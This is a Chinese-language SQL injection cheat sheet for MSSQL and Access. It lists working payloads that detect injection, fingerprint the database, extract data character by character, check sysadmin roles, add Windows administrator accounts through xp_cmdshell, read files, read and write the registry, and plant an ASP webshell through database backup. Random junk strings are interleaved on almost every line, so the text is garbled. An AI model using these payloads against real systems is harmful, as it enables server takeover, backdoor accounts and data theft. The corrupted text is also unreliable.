1.判断是否有注入;and 1=1 ;and 1=2 Si=u=FI1e
2.初步判断是否是mssql ;and user>0 dJ=z'?|%g
w*IDL0#
3.注入参数是字符'and [查询条件] and ''=' -Z&9pI(3R~
e-YMFJtoK}
4.搜索时没过滤参数的'and [查询条件] and '%25'=' \']_ y\
K7]+. f
5.判断数据库系统 +r 8/\'u-
),U>AiF]
;and (select count(*) from sysobjects)>0 mssql k`r`ZA(kQ-
Bpdx]5qfK
;and (select count(*) from msysobjects)>0 access ]t.6bb4
Tf.DFfV#y
u|M_O5^
mI3
\n
6.猜数据库 ;and (select Count(*) from [数据库名])>0 /\UFJ
DBZ^n9
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 L%0G >2x
5VK.Zs\
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 hD>cxo
]"-c?%L
9.(1)猜字段的ascii值(access) 76RFu@k
gw v
s
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 U<.,"`=l
rI;tMNs
(2)猜字段的ascii值(mssql) 0I"r*;9?K
vuNq7V*}
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 FKk.BA957h
L
[=JHW
10.测试权限结构(mssql) ffoLCx4o0E
n_MY69W
qI5`:PH%n
okQ<_1e{
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {K >}eO:K
QX|y};7\e
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- n 8'#'^|
K}9 c$C4
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- W60C$*h
ynU20g
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >sm<$'vZ/
F4
:#okt
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- _Xzl=j9[
}J|Pd3Q Sf
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0iTh |K0
0XUWK@)P
;and 1=(select IS_MEMBER('db_owner'));-- KBy*QA
KVZ-T1K
O}mz@-Z
[}Pi $at
11.添加mssql和系统的帐户 <t"|wYAa_
.GOF0puiM
;exec master.dbo.sp_addlogin username;-- Mib<1ZM
;exec master.dbo.sp_password null,username,password;-- ])H[>.?K
a?ux
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- $I:&5 o i
ud:5_*
;exec master.dbo.xp_cmdshell 'net user username password 6z ,nt
ylwh_&>2
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
k;xIo(:
&(i_s
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ue2%w/Yo
ERz{, >G?
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 9KGi%UIFvn
+/4wioGm
u5E\wRn
8(|lP58~
12.(1)遍历目录 IJ#+"(?7,u
;kb);iT
;create table dirs(paths varchar(100), id int) }?^5L7n
*dmS'/
;insert dirs exec master.dbo.xp_dirtree 'c:\' IT=<p60"
1?,1EYT"
;and (select top 1 paths from dirs)>0 'jj|bN
O6Mxp-
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
y)GH=@b
Dwuao`~Xm
caXSt2|'
r0(* ]K:.
(2)遍历目录 #[ ?E,
q3}WO]TBj
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9L9qLF5 t
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 tiQeON-Q_
$BUm,
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 "1|\V.>>;
A8U\/GP
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {dXmSuO
83g$k
9lG.
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ?`T-A\A=
()o[(Hx+ph
r%412#
AtYqD<hl:
13.mssql中的存储过程 !@4 i:,p@
}C!g x6
xp_regenumvalues 注册表根键, 子键 4I!g?Moh
GiS:Nq`$(
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 p4^&G/'
UWo*%&J
xp_regread 根键,子键,键值名 Qs\*r@6?
=:;K nS
;exec xp_regread WO!'("
=>htX(k}
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #$ooV1E
I#PhzGC@
xp_regwrite 根键,子键, 值名, 值类型, 值 Q.} guI\
)];Bo.QA
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 CWa~~h<r-
7Xf52\7n
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 OAo;vC:^
gAr=fq-|
xp_regdeletevalue 根键,子键,值名 /X;/}fk
d3"QCl
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 vo>i36
=:BTv[lv
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 }*?,&9/_)
9:,ZG4s
YDYN#Ob(;
_o7t| pl~
14.mssql的backup创建webshell @UQ421Z`
$Ts;o
use model )f,9 h
YF)k0bu&;
create table cmd(str image); t W}"PKv
" 6ScVa5)
insert into cmd(str) values (''); y;<F|zIm
2{<o1x,Ym
backup database model to disk='c:\l.asp'; 7j8lhrM}^
Y49&EQ
s
w{e |
$:RR1.Tv
15.mssql内置函数 4 (XV)QR
"p]!="\
;and (select @@version)>0 获得Windows的版本号 spT$}F2n
=SD^Jl{H
;and user_name()='dbo' 判断当前系统的连接用户是不是sa pp@O6
A DVUx}
;and (select user_name())>0 爆当前系统的连接用户 !<>*|a
Cy dV$!&mP
;and (select db_name())>0 得到当前连接的数据库 <$??Z;6
D)tL}X$
AQwai>eL
83J63Xa
16.简洁的webshell RT|1M"?$
8SA"
bH:
use model cx]H8]ch7
X0Wx\xDg[
create table cmd(str image); AuT:snCzR
2Z>8ROv^X
insert into cmd(str) values (''); WK0:3q(P
E0AbVa.
backup database model to disk='g:\wwwtest\l.asp';